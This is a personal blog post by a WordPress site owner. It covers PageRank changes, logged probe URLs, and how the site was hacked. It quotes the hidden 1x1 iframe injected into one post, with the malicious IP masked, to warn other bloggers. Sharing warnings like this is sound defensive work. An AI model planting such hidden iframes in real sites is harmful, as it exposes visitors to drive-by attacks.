Hmm.. dunno when the new Google PageRank hit but I just noticed that my main site (DragonSteelMods) is now a PR5 site, and my new site (dsmtechNews) is now a PR4 site..

Not bad for dsmTechnews considering it was just launched on November 27th of last year…

This site remained the same, oh well, I was actually expecting it to drop since it is still listed as possibly harming your computer.. bah.. that will get fixed soon, I’m just waiting again for them to re-review the site.

I hate hackers and spammers, really I do.. I’ve had a few more attempts today actually, like the one I posted about previously… I like Counterize that way, it’s tells you so much information about who is visting your site and what they are trying to do…

today I found some very odd entries in Counterize tracking, whoever it is put these weird strings of characters at the end of my URLs and tried to access them:

/%5C’+AFv_tag.URL.AF+%5C’images/%5C’+AFv_tag.URL.AF+%5C’images/

%5C’+AFv_tag.URL.AF+%5C’cover.php?w=\’+w+\’&h=\’+h+\’

Can anybody tell me what hell that is? I’ve got quite a few of them that look like that and similar to that just different by a few characters.. they went to one URL and added different variations of that to it 10 times in about 10 minutes…

Counterize tells me the IP originates from Telekenex in San Francisco, never heard of them though..

dsmTechNews gets a whole lot of spam and hacking attempts per day, I’m amazed really at all of it.. but since I’ve installed WP-SpamFree and Simple Trackback Validation the amount of spam has dropped by at least 95%, but STV doesn’t seem to be doing it’s thing correctly, although there are numerous settings to play with, so maybe I need to change something in there…

So, I found out why my site was listed on Google as possibly harming your computer.

I upgraded to WP 2.5, and then I was hacked or whatever.

This code was inserted into my post from April 13th somehow:

<!– Traffic Statistics –> <iframe src=http://***.***.*.***/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!– End Traffic Statistics –>

the IP of course has been deleted for protection, but it seems to me that essentially EVERYONE who now runs WP 2.5 is vulnerable to this.

I emailed WP security about it and haven’t heard back yet though…

Just pay attention to you site. It’s easiest to see this code or any code if you ‘view page source’ through right click on your blog page.

UPDATE!

I just heard back from WP Security.

Essentially he thinks I may have been hacked before I upgraded, which is possible, but doubtful, at least to me.

The post that was hacked was dated the 13th, I upgraded the 14th because of my Google issue. but I checked every post on this site and didn’t find that code in there in that post, I could have missed it yes.

I did find code in another post that I deleted and a strange FTP entry as well that I deleted also.

WP Security gave me a little plugin to use that emails me when anything changes to the site, and advised that I re-install WP just in case, and of course change passwords